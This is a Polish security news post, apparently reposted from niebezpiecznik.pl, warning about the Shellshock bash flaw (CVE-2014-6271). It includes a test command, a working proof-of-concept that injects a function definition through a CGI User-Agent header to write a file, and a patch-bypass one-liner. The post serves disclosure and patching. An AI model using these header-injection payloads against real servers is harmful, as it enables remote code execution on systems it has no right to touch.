Uwaga! Dziura w Bashu pozwala na zdalne wykonanie kodu [CVE-2014-6271, shellshock]

Uwaga na CVE-2014-6271 — dzięki tej podatności w bashu (ale również sh i zsh, jak twierdzą niektórzy) można wykonać własny kod poprzez odpowiednią manipulację zmiennymi środowiskowymi.

Aby sprawdzić, czy jesteście podatni na tę dziurę, której już nadano nazwę “shellshock”, wydajcie komendę:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Jeśli pojawi się słowo “vulnerable” — jesteście podatni. Należy jak najszybciej wgrać łatkę.

Przykładowy exploit:

[root@host cgi-bin]# rm -fr /tmp/aa
[root@host cgi-bin]# cat /var/www/cgi-bin/hi
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "hai"
[root@host cgi-bin]# curl -k -H 'User-Agent: () { :;}; echo aa>/tmp/aa' https://localhost/cgi-bin/hi
hai
[root@host cgi-bin]# tail -n1 /var/log/httpd/ssl_access_log
::1 - - [24/Sep/2014:18:22:05 +0200] "GET /cgi-bin/hi HTTP/1.1" 200 4 "-" "() { :;}; echo aa>/tmp/aa"
[root@host cgi-bin]# ls -l /tmp/aa
-rw-r--r--. 1 apache apache 3 24 sept. 18:22 /tmp/aa
[root@host cgi-bin]# sestatus
SELinux status: enabled

Na atak podatne są m.in. wszystkie programy/skrypty wykonywane w shellu basha, które korzystają ze zmiennych środowiskowych (których wartość kontroluje użytkownik) – np. dhclient, któremu złośliwy serwer DHCP może wstrzyknąć odpowiednią zmienną i tym samym wykonać swój kod na kliencie.

Szerzej o błędzie na blogu RedHata. Ciekawy jest też wpis na blogu lcamtufa

Aktualizacja
Okazuje się, że patch nie łata błędu do końca… Taviso pokazał jak go obejść:

env X='() { (a)=>\' sh -c "echo date"; cat echo

 

 

Źródło: www.niebezpiecznik.pl